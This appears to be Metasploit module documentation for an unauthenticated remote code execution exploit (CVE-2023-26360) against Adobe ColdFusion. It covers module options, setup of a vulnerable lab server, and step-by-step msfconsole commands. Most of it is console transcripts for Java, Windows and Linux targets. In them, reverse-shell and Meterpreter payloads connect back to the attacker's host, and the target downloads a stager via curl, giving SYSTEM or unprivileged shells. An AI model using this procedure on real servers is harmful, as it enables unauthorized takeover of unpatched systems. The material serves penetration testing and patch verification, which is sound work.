## Vulnerable Application
This module leverages an unauthenticated remote code execution vulnerability due to deserialization of untrusted data
in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update
15 and earlier. For a full technical analysis of the vulnerability read the
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis).

## Optionsgit st
A default installation of ColdFusion will not require any of the below options to be configured as the default
values will work.

### CFC_ENDPOINT
The exploit requires a valid ColdFusion Component (CFC) endpoint to be reachable, although no method on this endpoint
will be called as the vulnerability is triggered before a remote method from the endpoint is called. Therefore this
option can be set to any CFC endpoint. By default this is set to
`/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc` which is present in a default installation
of ColdFusion.

### CF_LOGFILE
This is the log file where the exploit will write arbitrary ColdFusion Markup Language (CFML) to. The path is relative
to the `wwwroot` folder. By default this value is `../logs/coldfusion-out.log` and should not need to be changed.

## Testing
To setup a test environment, the following steps can be performed.
1. Setup either a Windows Server 2022 VM or a Ubuntu 22.04 VM.
2. Download either the [Windows ColdFusion 2021 Update 5
installer](https://cfdownload.adobe.com/pub/adobe/coldfusion/2021/cfinstaller/cf2021u5/ColdFusion_2021_GUI_WWEJ_win64.exe)
or the [Linux ColdFusion 2021 Update 5
installer](https://cfdownload.adobe.com/pub/adobe/coldfusion/2021/cfinstaller/cf2021u5/ColdFusion_2021_GUI_WWEJ_linux64.bin)
and install it.
3. Configure the ColdFusion server for production use and enable the Secure Profile during setup.
4. By default, Coldfusion will serve HTTP from TCP port 8500. Configure the operating system firewall to allow remote
access to this port. For example on Linux you can run `sudo ufw allow 8500/tcp`.
5. Follow the verification steps below.

## Verification Steps
1. Start msfconsole
2. `use exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360`
3. `set LHOST eth0`
4. `set RHOST <TARGET_IP>`
5. `set target 3`
6. `set PAYLOAD linux/x64/meterpreter/reverse_tcp`
7. `check`
8. `exploit`

## Scenarios
### Generic Java (Adobe ColdFusion 2021 Update 5 on Windows Server 2022)
```
msf > use exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360
[*] Using configured payload java/meterpreter/reverse_tcp
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > show options

Module options (exploit/multi/http/adobe_coldfusion_rce_cve_2023_26360):

   Name          Current Setting      Required  Description
   ----          ---------------      --------  -----------
   CFC_ENDPOINT  /cf_scripts/scripts  yes       The target ColdFusion Componen
                 /ajax/ckeditor/plug            t (CFC) endpoint
                 ins/filemanager/ied
                 it.cfc
   CF_LOGFILE    ../logs/coldfusion-  yes       The target log file, relative
                 out.log                        to the wwwroot folder.
   Proxies                            no        A proxy chain of format type:h
                                                ost:port[,type:host:port][...]
   RHOSTS                             yes       The target host(s), see https:
                                                //docs.metasploit.com/docs/usi
                                                ng-metasploit/basics/using-met
                                                asploit.html
   RPORT         8500                 yes       The target port (TCP)
   SSL           false                no        Negotiate SSL/TLS for outgoing
                                                 connections
   SSLCert                            no        Path to a custom SSL certifica
                                                te (default is randomly genera
                                                ted)
   URIPATH       /                    no        The URI to use for this exploi
                                                t
   VHOST                              no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to
                                       listen on. This must be an address on t
                                       he local machine or 0.0.0.0 to listen o
                                       n all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic Java



View the full module info with the info, or info -d command.

msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set LHOST eth0
LHOST => 172.23.57.124
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set SRVHOST eth0
SRVHOST => 172.23.57.124
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.49.239
RHOST => 172.23.49.239
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check
[*] 172.23.49.239:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown.
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit

[*] Started reverse TCP handler on 172.23.57.124:4444 
[*] Using URL: http://172.23.57.124:8080/
[*] Received payload request, transmitting payload jar...
[*] Received payload request, transmitting payload jar...
[*] Received payload request, transmitting payload jar...
[*] Sending stage (58851 bytes) to 172.23.49.239
[*] Meterpreter session 1 opened (172.23.57.124:4444 -> 172.23.49.239:49815) at 2023-04-11 14:10:13 +0100
[*] Server stopped.

meterpreter > getuid
Server username: WIN-9SIICLTVVC7$
meterpreter > pwd
C:\ColdFusion2021\cfusion\bin
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.23.49.239 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > 
```

### Windows Command (Adobe ColdFusion 2021 Update 5 on Windows Server 2022)
```
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set LHOST eth0
LHOST => 172.23.9.70
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.13.12
RHOST => 172.23.13.12
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 1
target => 1
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD cmd/windows/powershell_reverse_tcp
PAYLOAD => cmd/windows/powershell_reverse_tcp
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check
[*] 172.23.13.12:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown.
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit

[*] Started reverse TCP handler on 172.23.9.70:4444 
[*] Powershell session session 1 opened (172.23.9.70:4444 -> 172.23.13.12:57546) at 2023-04-06 12:20:27 +0100

PS C:\ColdFusion2021\cfusion\bin> whoami
nt authority\system
PS C:\ColdFusion2021\cfusion\bin> exit

[*] 172.23.13.12 - Powershell session session 1 closed.  Reason: User exit
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > 
```

### Windows Dropper (Adobe ColdFusion 2021 Update 5 on Windows Server 2022)
```
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 2
target => 2
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check
[*] 172.23.13.12:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown.
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit

[*] Started reverse TCP handler on 172.23.9.70:4444 
[*] Command Stager progress -   0.73% done (2047/279726 bytes)
[*] Command Stager progress -   1.46% done (4094/279726 bytes)

...snip...

[*] Command Stager progress -  99.52% done (278392/279726 bytes)
[*] Command Stager progress - 100.00% done (279726/279726 bytes)
[*] Meterpreter session 1 opened (172.23.9.70:4444 -> 172.23.13.12:57554) at 2023-04-06 12:23:48 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.23.13.12 - Meterpreter session 1 closed.  Reason: Died
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > 
```

### Linux Command (Adobe ColdFusion 2021 Update 5 on Ubuntu 22.04)
```
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 3
target => 3
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.0.98
RHOST => 172.23.0.98
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check
[*] 172.23.0.98:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown.
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit

[*] Started reverse TCP handler on 172.23.9.70:4444 
[*] Command shell session 2 opened (172.23.9.70:4444 -> 172.23.0.98:47598) at 2023-04-06 12:27:55 +0100

id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
pwd
/opt/ColdFusion2021/cfusion/bin
```

### Linux Dropper (Adobe ColdFusion 2021 Update 5 on Ubuntu 22.04)
```
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set target 4
target => 4
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > set RHOST 172.23.0.98
RHOST => 172.23.0.98
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > check
[*] 172.23.0.98:8500 - The service is running, but could not be validated. ColdFusion detected but version number is unknown.
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > exploit

[*] Started reverse TCP handler on 172.23.9.70:4444 
[*] Using URL: http://172.23.9.70:8080/lzD4G6tt1
[*] Client 172.23.0.98 (curl/7.81.0) requested /lzD4G6tt1
[*] Sending payload to 172.23.0.98 (curl/7.81.0)
[*] Sending stage (3045348 bytes) to 172.23.0.98
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 2 opened (172.23.9.70:4444 -> 172.23.0.98:43168) at 2023-04-06 12:29:23 +0100
[*] Server stopped.

meterpreter > getuid
Server username: nobody
meterpreter > pwd
/opt/ColdFusion2021/cfusion/bin
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.23.0.98 - Meterpreter session 2 closed.  Reason: User exit
msf exploit(multi/http/adobe_coldfusion_rce_cve_2023_26360) > 
```
